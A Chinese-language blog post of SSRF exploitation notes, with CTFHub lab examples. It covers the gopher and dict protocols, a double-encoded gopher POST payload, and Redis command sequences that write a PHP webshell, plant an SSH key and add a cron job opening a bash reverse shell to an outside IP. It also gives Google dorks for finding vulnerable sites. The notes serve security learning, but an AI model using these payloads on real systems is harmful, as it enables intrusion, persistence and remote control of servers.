SSRF归拢

写的不全啊,但是尽量写了,写上的都是实验过的。
在这里插入图片描述

一些脚本等资源放在了github

进入主题

ssrf的利用往往是http://xxx.com/?url=xxxxx的形式
这个?后面的url参数就是服务器去请求的资源。存在使用curl命令去执行url提交的可能。 (当然不使用curl,然后放在表单做src也是非常有可能的,并且也是会提交请求) 然后返回的内容再进行处理,比如http://xxx.com/?url=http://bb.com。url参数处除了http/https协议当然可以使用其他协议,要根据不同的请求来定义,比如命令行输入curl --version可以查看到curl可以使用dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp

curl请求的过程:

<?php
// create curl resource 
  $ch = curl_init(); 
// set url 
  curl_setopt($ch, CURLOPT_URL, /*url参数处的内容*/);
//return the transfer as a string 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string 
  $output = curl_exec($ch);
// close curl resource to free up system resources 
  curl_close($ch);
  echo $output;
?>

除了curl还有这几个引发ssrf的函数:
fsocksopen()
file_get_contents()
fopen()
详细参考文章>https://xz.aliyun.com/t/7405

注意:
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

--------------------------------------------------------------

先探究一下curl等函数可以使用的协议

协议

1.file://

主要用于访问本地计算机中的文件如file:///etc/passwd
敏感文件路径汇总

2.gopher://

在这里插入图片描述
在这里插入图片描述

ssrf中的gopher是写在url参数处,由服务器提交的请求!!!
http之前的协议。可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。理论上来讲,只要内部能访问到的服务,通过ssrf都可以访问。
使用方式gopher://IP:port/_{TCP/IP数据流}
post数据的时候必须有的内容(前4项):

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8a6d748f4f820709cd9e444991d49dd0

内容的urlencode要根据请求的次数来定
urlencode后换行要变成%0D%0A
ctfhub举例:进行两次urlencode

http://challenge-fe13b763edf190bd.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D863dd6bf436fe83c6d37da5485d4a4e9%2520HTTP%252F1.1

gopher的应用

1.gopher可以提交请求(见上一个例子)
2.上传文件(ctfhub-ssrf文件上传)
截获一个post上传文件的请求,url编码相应次数后放在gopher协议的后面,用来伪造服务器向相应页面上传文件。
3.fpm利用
利用需要fpm监听端口9000暴露在公网,且存在ssrf漏洞等条件,比较苛刻。
本利用可造成任意代码远程执行,攻击脚本在GitHub上
原理-----实验
用ctfhub靶场自己做实验

4.redis利用
redis默认端口6379
Redis在SSRF中的应用漏洞原理
笔记>

  • 写webshell

下面代码输入到redis中产生的流量包获取,或者使用脚本转换得到的数据构造报文,放到gopher发送的数据中。

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save
  • 写ssh公钥

ssh-keygen -t rsa生成公钥,写到远程主机的/.ssh/authorized_keys中。然后可通过本地私钥登录远程ssh

flushall
set 1 'your keygen'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
  • 反弹shell(ubuntu不行,centos行)

通过写计划任务反弹到远程主机shell

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
  • 主从复制rce

用ctfhub靶场自己做实验

3.dict://
探测开放端口,获取文件内容
如:dict://192.168.1.2:6379/flushall
dict://192.168.1.1:80

4.剩下的很少使用
sftp://
tftp://
ldap://

google搜寻ssrf网站

inurl:".php?url=http://"
inurl:".php?image=http://"

无回显ssrf

一个利用的文章

  • 如何确认ssrf漏洞(无回显)

可以尝试发送不同的请求。比如
http://127.0.0.1:80
http://127.0.0.1:80/404404404not_found
http://127.0.0.1:12345
http://127.1:80
等等和127.0.0.1有关的请求
通过response,判断没有过滤127.0.0.1,如果没有过滤则可能存在ssrf

  • SSRF无回显如何利用

如果已经确定是ssrf无回显的情况,可以尝试上面的几种,不需要回显

ssrf和url重定向漏洞的区别:

https://www.jianshu.com/p/6ecff0722c56
文章中的一句话除了模样长得一样其他什么都不一样
我自己的理解:

ssrf是攻击者控制服务器访问内网资源
url跳转漏洞是攻击者控制页面跳转到自己的页面
二者虽然形式一样,但是功能完全不同
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值